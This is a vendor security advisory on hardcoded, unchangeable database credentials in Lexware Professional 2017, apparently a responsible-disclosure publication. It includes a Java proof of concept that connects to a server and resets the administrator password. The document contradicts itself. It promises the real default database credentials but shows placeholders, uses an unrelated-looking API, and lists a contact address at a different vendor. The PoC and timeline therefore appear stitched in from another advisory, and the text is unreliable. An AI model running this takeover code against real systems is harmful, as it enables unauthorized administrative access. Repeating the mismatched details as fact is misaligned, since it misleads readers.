usd-2018-0013 | Lexware Professional 2017 /Version 17.02

Advisory ID: usd-2018-0013
CVE Number: N/A
Affected Product: Lexware Professional 2017
Affected Version: Version 17.02
Vulnerability Type: Improper Access Control
Security Risk: Critical
Vendor URL: https://shop.lexware.de/reisekosten-abrechnung
Vendor Status: Fixed

Description

Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a business function outside of the limits of the user.

The Lexware client communicates with the underlying database with a default account. The application relies on a database (Sybase, SQL Anywhere) for storing relevant data. It is possible to connect directly to the database with the default credentials provided in the proof of concept section. The key factor to be highlighted at this point is not just the existence of hardcoded database credentials, but also the unavailability of alternate options to change the credentials required to connect to the database. In plain words, an attacker could connect to any existing Lexware database.

Proof of Concept

Generic example case:

public static void main(String[] args) throws Exception {
ConnectionManager.setProxy((Proxy) null);
ConnectionManager.setCompression((byte) 0);
ConnectionManager.setEncryption((byte) 2);
ConnectionManager.setUseHttps(false);

ServerConnection c = (ServerConnection) ConnectionManager.getConnection("", 8000, 1, "user", "password");
c.connect();

UserManager userManager = c.getManager(UserManager.class);
UserDTO admin = userManager.getAdminUser();
admin.setPassword("test");
userManager.updateUserData(admin);
}

Fix

Access to sensitive functions should be avoided. Necessary access should be protected by authentication and a global access control explicitly.

Timeline

  • 2018-04-04 First contact request via info@e-spirit.com
  • 2018-04-24 Send vulnerabilities to vendor
  • 2018-05-15 Vendor releases a patch to fix the vulnerabilities
  • 2018-07-06 Security advisory released

Credits

This security vulnerabilities were found by Sebastian Puttkammer of usd AG.

ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG


In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.